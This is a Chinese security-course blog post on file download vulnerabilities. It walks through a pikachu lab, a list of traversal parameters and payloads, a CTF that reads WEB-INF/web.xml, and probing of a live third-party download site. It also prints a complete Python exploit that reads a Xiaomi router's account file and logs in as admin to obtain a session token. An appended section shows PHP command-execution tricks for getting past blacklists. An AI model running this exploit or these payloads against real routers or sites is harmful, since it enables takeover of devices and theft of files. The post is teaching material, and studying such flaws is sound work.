[小迪安全32天]文件下载

本文探讨了文件下载漏洞在CTF竞赛中的应用,涉及网站目录探测、PHP文件注入、百度杯登录绕过、小米路由器敏感文件获取等内容,展示了渗透测试技术和常见漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
通过文件下载,可以下载到目标网站的数据库配置文件或网站信息文件,对后续的渗透有很大帮助!

文件下载

靶场环境pikachu

在这里插入图片描述
右键点击图片链接查看
http://172.21.22.23:88/vul/unsafedownload/execdownload.php?filename=kb.png
http://172.21.22.23:88/vul/unsafedownload/execdownload.php?filename=ai.png
把filename的值改为上一层的php文件
http://172.21.22.23:88/vul/unsafedownload/execdownload.php?filename=…/execdownload.php
访问即可下载
在这里插入图片描述

同样可以在下载的文件中查找敏感文件信息进行下载

如何知道网站目录的信息结构:
通过扫描工具如御剑扫描,burpsuit,
只要字典足够好,什么都能扫得到!


判断

根据参数值

  • read.xxx?filename=
  • down.xxx?filename=
  • readfile.xxx?file=
  • downfile.xxx?file=
  • …/ …\ .\ ./等
  • %00 ? %23 %20 .等
  • &readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、
  • &menu=、META-INF= 、WEB-INF

测试网站

只是练习,不搞破坏!
https://www.znds.com/

在这里插入图片描述
鼠标右键复制链接查看
http://down.znds.com/getdownurl/?s=L2Rvd24vMjAyMTA1MzEvdHhzcDE2MTU4XzcuNC4wLjEwMTBfZGFuZ2JlaS5hcGs=
base64解密后为

http://down.znds.com/getdownurl/s=/down/20210531/txsp16158_7.4.0.1010_dangbei.apk
如果把s后面的文件换成网络的php文件就能下载
下载时要把s后面的参数值进行base64加密


CTF考题

在这里插入图片描述
点击Help复制链接
在这里插入图片描述
filename=help.docx
很像文件下载
javaweb开放一般文件下载都以post方式进行提交
在这里插入图片描述
通过抓取数据包得知是javaweb开放
由于javaweb有WEB-INF/web.xml的配置问件
在这里插入图片描述
成功下载,打开获取flag!


漏洞文件下载


百度杯

挺难的!
https://www.ichunqiu.com/battalion?t=1&r=57475
在这里插入图片描述

登录密码抓包
把login修改为1
在这里插入图片描述

通过点击manage发送把login改为1获取数据包
在这里插入图片描述
module为网站模型框架
这个module涉及到文件下载漏洞,这里先留着,我不会,等以后解决!

小米路由器任意文件下载

https://www.seebug.org/vuldb/ssvid-98122
http://192.168.31.1/api-third-party/download/extdisks…/etc/shadow
直接在网站根目录下输入/api-third-party/download/extdisks…/etc/shadow
如果能获取文件就证明有漏洞
用python3执行

把里面的网址换成目标网址加端口

import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def get_mac():
    ## get mac
    r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
    mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
    # print(mac)    
    return mac

def get_account_str():
    ## read /etc/config/account
    r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
    print(r1.text)
    account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
    return account_str

def create_nonce(mac):
    type_ = 0
    deviceId = mac
    time_ = int(time.time())
    rand = random.randint(0,10000)
    return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
    m = hashlib.sha1()
    m.update((nonce + account_str).encode('utf-8'))
    return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login", 
    data = data, 
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
    proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

获取stok值

在这里插入图片描述

在这里插入图片描述
把stok值加;号拼到网址后面成功进入
在这里插入图片描述

### 小安全30RCE漏洞概述 远程代码执行(Remote Code Execution, RCE)是一种高危漏洞,允许攻击者通过网络向目标系统发送恶意代码并被执行。这种漏洞通常源于应用程序未能正确验证用户输入的数据,导致恶意数据被当作可执行代码处理[^2]。 在Web开发环境中,无论是基于Linux还是Windows系统的应用,都可能因不当使用某些危险函数而引发RCE漏洞。这些危险函数包括但不限于`eval()`、`exec()`、`shell_exec()`等。如果开发者未对传入的参数进行严格校验,则可能导致任意代码或命令被执行的情况发生[^3]。 对于检测手段而言,可以采用多种方式来发现潜在存在的RCE风险点。其中较为常见的有白盒测试中的静态代码分析即代码审计;而在黑盒渗透过程中则更多依赖于自动化扫描工具如AWVS、XRay等辅助完成初步排查工作之外还需要结合人工经验针对特定业务逻辑深入挖掘隐藏更深的安全隐患。 至于防御措施方面除了常规建议像及时更新补丁版本外还需特别注意以下几点:一是尽可能避免调用那些已知存在较高安全隐患的功能模块;二是加强对外部可控变量值范围的有效限制并通过正则表达式等方式进一步增强过滤机制强度;三是考虑部署专业的防火墙类产品作为额外防护层以抵御来自外界未知威胁入侵尝试。 ### 管道符的使用方法 管道符(`|`) 是一种用于连接两个程序的标准输出与标准输入之间的特殊字符,在Unix/Linux Shell编程中有广泛的应用场景之一就是构建复杂的命令链路实现单一指令难以达成的任务目的。例如当我们想要查找当前目录下所有扩展名为“.txt”的纯文本文件并将它们的内容按字母顺序排序最后保存到一个新的汇总文档当中去的时候就可以这样写: ```bash find . -name "*.txt" | xargs cat | sort > all.txt ``` 上述例子中第一个部分 `find . -name "*.txt"` 找到了符合条件的目标列表交给第二个环节 `xargs cat` 去读取具体每一个匹配项的实际内容再传递给第三个阶段 `sort` 完成最终整理动作之后重定向存储起来形成完整的操作流程[^4]。 另外值得注意的是有时候为了绕过一些简单的字符串替换型防护策略也可以巧妙运用反引号 `` 或者其他组合形式比如 `$()` 来达到相同的效果如下所示当直接书写 system('whoami') 被拦截时不妨试试下面这种方式或许就能奏效了呢? ```php <?php echo `whoami`; ?> ``` 或者是这样的PHP语句结构也能起到相应的作用: ```php $c='id'; echo shell_exec($c); ``` 以上两种情况均利用了不同语法特性规避掉了原始黑名单模式下的简单判断规则从而实现了预期功能需求[^5]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值